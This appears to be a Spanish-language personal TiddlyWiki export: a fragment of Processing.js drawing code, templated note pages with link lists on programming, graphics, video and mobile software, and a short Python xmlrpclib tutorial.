var offsetEnd = 0;
if ( curRectMode == p.CORNERS )
{
width -= x;
height -= y;
}
if ( curRectMode == p.RADIUS )
{
width *= 2;
height *= 2;
}
if ( curRectMode == p.CENTER || curRectMode == p.RADIUS )
{
x -= width / 2;
y -= height / 2;
}
curContext.rect(
Math.round( x ) - offsetStart,
Math.round( y ) - offsetStart,
Math.round( width ) + offsetEnd,
Math.round( height ) + offsetEnd
);
if ( doFill )
curContext.fill();
if ( doStroke )
curContext.stroke();
curContext.closePath();
}
p.ellipse = function ellipse( x, y, width, height )
{
x = x || 0;
y = y || 0;
if ( width <= 0 && height <= 0 )
return;
curContext.beginPath();
if ( curEllipseMode == p.RADIUS )
{
width *= 2;
height *= 2;
}
var offsetStart = 0;
// Shortcut for drawing a circle
if ( width == height )
curContext.arc( x - offsetStart, y - offsetStart, width / 2, 0, Math.PI * 2, false );
if ( doFill )
curContext.fill();
if ( doStroke )
curContext.stroke();
curContext.closePath();
}
p.link = function( href, target )
{
window.location = href;
}
p.loadPixels = function()
{
p.pixels = buildImageObject( curContext.getImageData(0, 0, p.width, p.height) ).pixels;
}
p.updatePixels = function()
{
var colors = /(\d+),(\d+),(\d+),(\d+)/;
var pixels = {};
var data = pixels.data = [];
pixels.width = p.width;
pixels.height = p.height;
var pos = 0;
for ( var i = 0, l = p.pixels.length; i < l; i++ ) {
var c = (p.pixels[i] || "rgba(0,0,0,1)").match(colors);
data[pos] = parseInt(c[1]);
data[pos+1] = parseInt(c[2]);
data[pos+2] = parseInt(c[3]);
data[pos+3] = parseFloat(c[4]) * 100;
pos += 4;
}
curContext.putImageData(pixels, 0, 0);
}
p.extendClass = function extendClass( obj, args, fn )
{
if ( arguments.length == 3 )
{
fn.apply( obj, args );
}
else
{
args.call( obj );
}
}
p.addMethod = function addMethod( object, name, fn )
{
if ( object[ name ] )
{
var args = fn.length;
var oldfn = object[ name ];
object[ name ] = function()
{
if ( arguments.length == args )
return fn.apply( this, arguments );
else
return oldfn.apply( this, arguments );
};
}
else
{
object[ name ] = fn;
}
}
p.init = function init(code){
p.stroke( 0 );
p.fill( 255 );
// Canvas has trouble rendering single pixel stuff on whole-pixel
// counts, so we slightly offset it (this is super lame).
curContext.translate( 0.5, 0.5 );
if ( code )
{
(function(Processing){with (p){
eval(parse(code, p));
}})(p);
}
if ( p.setup )
{
inSetup = true;
p.setup();
}
inSetup = false;
if ( p.draw )
{
if ( !doLoop )
{
p.redraw();
}
else
{
p.loop();
}
}
attach( curElement, "mousemove", function(e)
{
p.pmouseX = p.mouseX;
p.pmouseY = p.mouseY;
p.mouseX = e.clientX - curElement.offsetLeft;
p.mouseY = e.clientY - curElement.offsetTop;
if ( p.mouseMoved )
{
p.mouseMoved();
}
if ( mousePressed && p.mouseDragged )
{
p.mouseDragged();
}
});
attach( curElement, "mousedown", function(e)
{
mousePressed = true;
if ( typeof p.mousePressed == "function" )
{
p.mousePressed();
}
else
{
p.mousePressed = true;
}
});
attach( curElement, "mouseup", function(e)
{
mousePressed = false;
if ( typeof p.mousePressed != "function" )
{
p.mousePressed = false;
}
if ( p.mouseReleased )
{
p.mouseReleased();
}
});
attach( document, "keydown", function(e)
{
keyPressed = true;
p.key = e.keyCode + 32;
if ( e.shiftKey )
{
p.key = String.fromCharCode(p.key).toUpperCase().charCodeAt(0);
}
if ( typeof p.keyPressed == "function" )
{
p.keyPressed();
}
else
{
p.keyPressed = true;
}
});
attach( document, "keyup", function(e)
{
keyPressed = false;
if ( typeof p.keyPressed != "function" )
{
p.keyPressed = false;
}
if ( p.keyReleased )
{
p.keyReleased();
}
});
function attach(elem, type, fn)
{
if ( elem.addEventListener )
elem.addEventListener( type, fn, false );
else
elem.attachEvent( "on" + type, fn );
}
};
return p;
}
})();
} //# end of "install only once"
//}}}
!Descripción
Apuntes sobre programación en el entorno GNU/Linux
!Apuntes rápidos
*
!Enlaces interesantes
* Como hacer un módulo para el kernel: http://www.linux.com/news/software/linux-kernel/23685-the-kernel-newbie-corner-your-first-loadable-kernel-module
* Traducción al castellano: http://casidiablo.net/desarrollar-compilar-modulo-linux/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programación
!Apuntes rápidos
*
!Enlaces interesantes
* http://codepad.org/
* http://www.java2s.com/
* http://www.programmersheaven.com/
* http://www.chuidiang.com/chuwiki/index.php?title=Portada
* http://www.digilife.be/quickreferences/quickrefs.htm
* http://www.bookmarkbliss.com/programming/the-developer-cheat-sheet-compilation/
* http://www.tecnun.es/recursos/labmat0.html (Serie //"Aprenda... como si estuviera en primero"//)
* http://www.dosideas.com/cursos/ (cursos de Dos Ideas)
!Pendiente investigar
* http://processing.org/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programación web
!Apuntes rápidos
*
!Enlaces interesantes
* w3schools: http://w3schools.com/
* DHTML y más: http://www.dynamicdrive.com/
* A list apart: http://www.alistapart.com/topics/code
* APIs de todo tipo: http://www.programmableweb.com/apis/directory/
* Guía de Mashups: http://www.programmableweb.com/howto
* Librería de referencia: http://www.programmableweb.com/reference
* Filas y columnas fijas en una tabla: http://www.cubido.at/Portals/7/docs/Blog/Karin/HTML%20and%20Javascript/ResizeColumns/Table.htm
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programas y aplicaciones
!Apuntes rápidos
* Inclasificables / varios:
** Visor animado de logs: http://www.fudgie.org/
!Enlaces interesantes
* Repositorios de aplicaciones gratuitas:
** Free Software Foundation: http://directory.fsf.org/category/index/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre aplicaciones y utilidades relacionadas con el desarrollo de software y la programación en general: IDEs, compiladores, editores, etc.
!Apuntes rápidos
*
!Enlaces interesantes
* Editor SciTe: http://www.scintilla.org/SciTEDownload.html
* Plugins para SciTe: http://groups.google.com/group/scite-interest/web/extras
* Plugin de lenguajes funcionales para eclipse: http://eclipsefp.sourceforge.net/
* Herramientas UML de código abierto: http://www.cyberhades.com/2009/11/08/herramientas-de-uml-de-codigo-abierto/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre dibujo 2D y 3D
!Apuntes rápidos
*
!Enlaces interesantes
* ''3D:''
** Tutorial sobre Blender: http://www.esi.uclm.es/www/cglez/fundamentos3D/
** Wings 3D: http://www.wings3d.com/
** Rhinoceros: http://www.rhino3d.com/
** Art of Illusion: http://www.artofillusion.org/
** Google Directory: http://www.google.com/Top/Computers/Software/Graphics/3D/Rendering_and_Modelling/
* ''Motores de render:''
** Motor de raytracing YafaRay: http://www.yafaray.org/documentation/features
** Motor de iluminación Sunflow: http://sunflow.sourceforge.net/index.php?pg=gall
* ''Vectorial:''
** Dibujo vectorial en Linux: http://sk1project.org/modules.php?name=Products&product=sk1
* ''Raster/bitmap:''
** Gimp: http://www.gimp.org.es
* ''Varios:''
** Google directory (3D): http://www.google.com/Top/Computers/Software/Graphics/3D/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre aplicaciones y programas para la manipulación, edición y visualización de imágenes.
!Apuntes rápidos
*
!Enlaces interesantes
* ''Análisis de imágenes:''
** nips2: http://www.vips.ecs.soton.ac.uk/supported/7.16/doc/html/nipguide/nipguidese1.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programas y aplicaciones de uso corportativo: portales, generadores de reportes, etc.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre aplicaciones y programas para internet, como navegadores
!Apuntes rápidos
*
!Enlaces interesantes
* ''Info:''
** Parámetros de inicio de [[Firefox]] y [[Thunderbird]]: http://kb.mozillazine.org/Starting_Firefox_or_Thunderbird_with_a_specified_profile
* ''Servidores:''
** HTTP File Server: http://www.rejetto.com/hfs/?f=dl
* ''Proxys:''
** Proxys open source: http://proxies.xhaus.com/
** Proxy para dispositivos móviles: http://jonathanscorner.com/mobile/
** Ad Zapper: http://www.zaplet.org/adzapper/
** Web Cleaner: http://webcleaner.sourceforge.net/
** HTTP Ripper: http://29a.ch/httpripper
** Paros Proxy: http://www.parosproxy.org/
** Sahi: http://sahi.co.in/
** OWASP Web Scarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programas para teléfonos móviles.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre
!Apuntes rápidos
*
!Enlaces interesantes
* Netgrok (visualización de redes en tiempo real): http://www.cs.umd.edu/projects/netgrok/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programas y aplicaciones para móviles Nokia Serie 60
!Apuntes rápidos
*
!Enlaces interesantes
* DOS-BOX para S60: http://vogons.zetafleet.com/viewtopic.php?t=20708&postdays=0&postorder=asc&start=0
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programas para la edición y audición de todo tipo de formatos de audio.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre programas de utilidad general y todo tipo de herramientas software que puedan sacarnos de un apuro o dos.
!Apuntes rápidos
*
!Enlaces interesantes
* Backup o sincronización:
** http://directorysync.sourceforge.net/
** Clonezilla: http://clonezilla.org/
* PDFs:
* Varias herramientas de edición: http://www.pdfill.com/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre visualización y/o edición de vídeo
!Apuntes rápidos
*
!Enlaces interesantes
* ''Editores de vídeo no lineares:''
** Listado de la wikipedia: http://en.wikipedia.org/wiki/List_of_video_editing_software
** Comparación de la wikipedia: http://en.wikipedia.org/wiki/Comparison_of_video_editing_software
** Cinelerra: http://cinelerra.org/
** Kdenlive: http://kdenlive.org/
** PiTiVi: http://www.pitivi.org/wiki/Main_Page
** Open Shot Video: http://www.openshotvideo.com/
** Blender: http://wiki.blender.org/index.php/Manual/Video_Sequence_Editing
** Lives: http://lives.sourceforge.net/
** Jahshaka: http://www.jahshaka.org/
** Cine FX (Jashaka reinvented): http://www.cinefx.org/
** Avidemux: http://www.avidemux.org/
* ''Editores de video online:''
** http://www.mixandmash.tv/site/
** Kaltura online editor: http://corp.kaltura.com/technology/editing_and_annotation
* ''Animación 2D:''
** Synfig: http://www.synfig.org/Main_Page
** Pencil 2D: http://www.pencil-animation.org/
** K-toon: http://ktoon-es.toonka.com/
** Kino: http://www.kinodv.org/
* ''Reproductores:''
** VLC: http://www.videolan.org/
** MPlayer: http://www.mplayerhq.hu/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre Windows Mobile (también llamado windows CE, Pocket PC, PPC o winmo, ...)
!Apuntes rápidos
*
!Enlaces interesantes
* Aplicaciones gratuitas:
** ''Control remoto:''
*** http://www.jaylee.org/RemoteControl/
*** http://www.xronox.com/XronoxSite/Downloads.aspx
** ''DOS Box:''
*** http://www.freewarepocketpc.net/ppc-download-pdosbox-v1-1.html
*** http://www.freewarepocketpc.net/ppc-download-dosboxppc-v0-63.html
* Aplicaciones no gratuitas:
** ''Redes:''
*** Handy Sniffer: http://winm-soft.atspace.com/
* Repositorios de aplicaciones gratuitas:
** http://www.uptodown.com/pocketpc
** http://www.freewareppc.com/
** http://www.freewarepocketpc.net
** http://handheld.softpedia.com/get/
** http://www.smartphonefreeware.org/
** http://www.softonic.com/pocketpc
** http://www.softonic.com/movil/so-windows-mobile
** http://www.getjar.com/software/HTC/Touch
** http://www.microsoft.com/windowsmobile/catalog/cataloghome.aspx
** http://www.microsoft.com/windowsmobile/en-us/totalaccess/default.mspx
** http://www.pocketpcsoft.net/
** http://www.mobiletopsoft.com/pocket-pc/
** http://sourceforge.net/softwaremap/trove_list.php?sort=group_ranking&sortdir=asc&offset=100&form_cat=222
** http://www.alfcen.com/pocket/index.html
** http://www.xflib.net/index.php?action=games&allgames=1
** http://www.cam.com/windowsce.html
** http://www.programatium.com/soft/pocket-pc.php
** http://tillanosoft.com/ce/index.html
** http://www.iaccarino.de/silvio/ppcstuff.htm
** http://www.rainer-keuchel.de/software.html
** http://mozo1.byethost6.com/HttpRemote/
* Otros repositorios y fabricantes:
** http://winm-soft.atspace.com/
* Artículos, aplicaciones esenciales:
** http://www.cnet.com.au/best-free-windows-mobile-software-339273436.htm
** http://mashable.com/2008/12/01/top-free-windows-mobile-apps/
** http://www.quickonlinetips.com/archives/2009/06/free-windows-mobile-apps/
** http://mobile.blorge.com/2009/06/06/top-40-best-free-windows-mobile-games-to-download/
** http://www.downloadsquad.com/2007/03/19/10-free-windows-mobile-games-mobile-minute/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre protocolos de red
!Apuntes rápidos
*
!Enlaces interesantes
* Wiki de protocolos de mensajería instantánea: http://imfreedom.org/wiki/Main_Page
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
campo1: Esto es el campo 1
|campo2:|Esto //otro// es el campo 2|
|campo3| Y ''aquí'' viene el campo 3|
!Titulo1
Contenido de la sección "Título1"
con saltos de línea y muchas cosas
!!Subtitulo1
Cosas
!Titulo2
Esta es otra sección.
!Descripción
Apuntes sobre el lenguaje Python
!Apuntes rápidos
* Para hacer {{{re.sub}}} multilínea hay que poner {{{(?m)}}} al comienzo de la expresión.
* Para mostrar la traza de un error capturado por un bloque {{{try}}} - {{{except}}}:
{{{
import traceback
try:
#codigo que puede fallar
pass
except:
traceback.print_stack()
}}}
!Enlaces interesantes
* ''Documentación básica:''
** http://www.faqts.com/knowledge_base/index.phtml/fid/199/
** http://openbookproject.net/thinkCSpy/
** http://www.diveintopython.org
** http://docs.python.org
** http://docs.python.org/tutorial/index.html
** http://www.ibm.com/developerworks/views/linux/libraryview.jsp?search_by=charming+python%3A&Submit.x=43&Submit.y=10&url=%2Fdeveloperworks%2Fviews%2Flinux%2Flibrary.jsp
** Cadenas de documentación: http://effbot.org/zone/pythondoc.htm
* ''Programación avanzada:''
** Patrones de diseño en Python: http://www.python.org/workshops/1997-10/proceedings/savikko.html
** Más patrones de diseño: http://www.suttoncourtenay.org.uk/duncan/accu/pythonpatterns.html
** Técnicas avanzadas de programación: http://ivory.idyll.org/articles/advanced-swc/
** Python idiomático: http://jaynes.colorado.edu/PythonIdioms.html
* ''Trucos y consejos:''
** Búsqueda de patrones: http://monkey.org/~marius/pattern-matching-in-python.html
** Reglas de ejecución: http://siddhi.blogspot.com/2009/05/pattern-matching-with-peak-rules.html
** Consejos para el módulo datetime: http://www.enricozini.org/2009/debian/using-python-datetime/
** Como usar SimpleParser: http://www.ibm.com/developerworks/linux/library/l-simple.html?S_TACT=105AGX03&S_CMP=EDU
** Numerical Python: http://www.ibm.com/developerworks/linux/library/l-cpnum.html?S_TACT=105AGX03&S_CMP=EDU
** Uso de decorators: http://www.ibm.com/developerworks/linux/library/l-cpdecor.html?S_TACT=105AGX03&S_CMP=EDU
* ''IDEs:''
** VisualWX IDE: http://visualwx.altervista.org/
** Stani's Python Editor (SPE): http://developer.berlios.de/project/showfiles.php?group_id=4161
** Eric Python IDE: http://eric-ide.python-projects.org/
** Pydev Eclipse Plugin: http://pydev.org/
* ''Como hacer sistemas de plugins:''
** http://lucumr.pocoo.org/2006/7/3/python-plugin-system
** http://thinkhole.org/wp/2006/04/04/making-python-plugins-easier/
** http://www.luckydonkey.com/2008/01/02/python-style-plugins-made-easy/
** http://martyalchin.com/2008/jan/10/simple-plugin-framework/
** http://termie.pbworks.com/SprinklesPy
* ''Misc:''
** XML-RPC en Google App Engine (GAE): http://appengine-cookbook.appspot.com/recipe/xml-rpc-server-using-google-app-engine/
** SOAP en GAE: http://www.ioncannon.net/web-services/180/soap-on-the-google-app-engine-platform/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Introducción
XML-RPC es un protocolo para ofrecer servicios web. Se basa en el envío de ficheros XML sobre una conexión HTTP. Veamos un ejemplo de comunicación mediante XML-RPC extraido de http://www.xmlrpc.com/spec:
{{{
POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181
<?xml version="1.0"?>
<methodCall>
<methodName>examples.getStateName</methodName>
<params>
<param>
<value><i4>41</i4></value>
</param>
</params>
</methodCall>
}}}
En este ejemplo se pueden apreciar dor partes bien diferenciadas: la cabecera HTTP y el mensaje XML. Los mensajes XML-RPC son bastante sencillos y fáciles de entender, y por ello se han hecho bastante populares.
[[Python]] incorpora desde la versión 2.2 una librería nativa llamada [[xmlrpclib|http://docs.python.org/library/xmlrpclib.html]] para llamar a servicios web de este tipo de forma sencilla. La librería se encarga de serializar las llamadas y deserializar los datos devueltos por el servidor.
!Conversión de datos
Estas son las conversiones de datos que realiza implícitamente la librería:
| !Tipo dato | !Conversión |h
|boolean |Constantes {{{True}}} y {{{False}}} |
|enteros |Sin conversión |
|punto flotante |Sin conversión |
|cadena de texto |Sin conversión |
|arrays |Secuancia de [[Python]] con elementos del tipo adecuado. Los arrays se convierten a listas |
|estructuras |Diccionario con claves de texto y valor del tipo adecuado. En caso de clases definidas por el usuario, se transmite sólo el atributo {{{__dict__}}} |
|fechas |En segundos desde el 1 de enero de 1970 o una instancia de {{{datetime.datetime}}} |
|datos binarios |Dentro de una instancia de la clase {{{Binary}}} |
!Obtener datos de un servicio web XML-RPC
Es realmente sencillo. La librería {{{xmlrpclib}}} convierte los nombres de procedimientos remotos en invocaciones de funciones, así que llamar a un procedimiento remoto del servicio web deseado es tan fácil como llamar a una función con los parámetros adecuados.
!! Pasos a seguir:
1- Importar las clases necesarias:
{{{
import xmlrpclib
}}}
2- Crear un servidor-proxy:
{{{
server = xmlrpclib.ServerProxy("http://betty.userland.com")
}}}
3- (Opcional) Comprobar los métodos disponibles:
{{{
print server.system.listMethods()
}}}
4- Llamar a un método remoto y mostrar el resultado:
{{{
try:
print server.examples.getStateName(41)
except xmlrpclib.Error, v:
print "ERROR", v
}}}
El ejemplo completo (y funcional) se vería así:
{{{
import xmlrpclib
server = xmlrpclib.ServerProxy("http://betty.userland.com")
print server
try:
print "Métodos disponibles:\n%s\n" % server.system.listMethods()
print "Ejemplo 41: ", server.examples.getStateName(41)
except xmlrpclib.Error, v:
print "ERROR", v
}}}
! Páginas interesantes
* Documentación de la librería: http://docs.python.org/library/index.html
